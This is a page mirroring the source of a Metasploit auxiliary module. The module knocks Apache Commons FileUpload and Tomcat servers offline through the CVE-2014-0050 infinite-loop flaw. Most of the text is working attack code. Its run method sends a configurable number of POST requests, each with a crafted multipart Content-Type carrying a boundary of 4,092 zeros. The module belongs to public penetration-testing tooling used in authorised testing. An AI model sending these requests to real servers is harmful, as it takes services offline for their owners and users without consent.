Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Dos89def initialize(info = {})10super(update_info(info,11'Name' => 'Apache Commons FileUpload and Apache Tomcat DoS',12'Description' => %q{13This module triggers an infinite loop in Apache Commons FileUpload 1.014through 1.3 via a specially crafted Content-Type header.15Apache Tomcat 7 and Apache Tomcat 8 use a copy of FileUpload to handle16mime-multipart requests, therefore, Apache Tomcat 7.0.0 through 7.0.5017and 8.0.0-RC1 through 8.0.1 are affected by this issue. Tomcat 6 also18uses Commons FileUpload as part of the Manager application.19},20'Author' =>21[22'Unknown', # This issue was reported to the Apache Software Foundation and accidentally made public.23'ribeirux' # metasploit module24],25'License' => MSF_LICENSE,26'References' =>27[28['CVE', '2014-0050'],29['URL', 'https://tomcat.apache.org/security-8.html'],30['URL', 'https://tomcat.apache.org/security-7.html']31],32'DisclosureDate' => '2014-02-06'33))3435register_options(36[37Opt::RPORT(8080),38OptString.new('TARGETURI', [ true, "The request URI", '/']),39OptInt.new('RLIMIT', [ true, "Number of requests to send",50])40])41end4243def run44boundary = "0"*409245opts = {46'method' => "POST",47'uri' => normalize_uri(target_uri.to_s),48'ctype' => "multipart/form-data; boundary=#{boundary}",49'data' => "#{boundary}00000",50'headers' => {51'Accept' => '*/*'52}53}5455# XXX: There is rarely, if ever, a need for a 'for' loop in Ruby56# This should be rewritten with 1.upto() or Enumerable#each or57# something58for x in 1..datastore['RLIMIT']59print_status("Sending request #{x} to #{peer}")60begin61c = connect62r = c.request_cgi(opts)63c.send_request(r)64# Don't wait for a response65rescue ::Rex::ConnectionError => exception66print_error("Unable to connect: '#{exception.message}'")67return68ensure69disconnect(c) if c70end71end72end73end74757677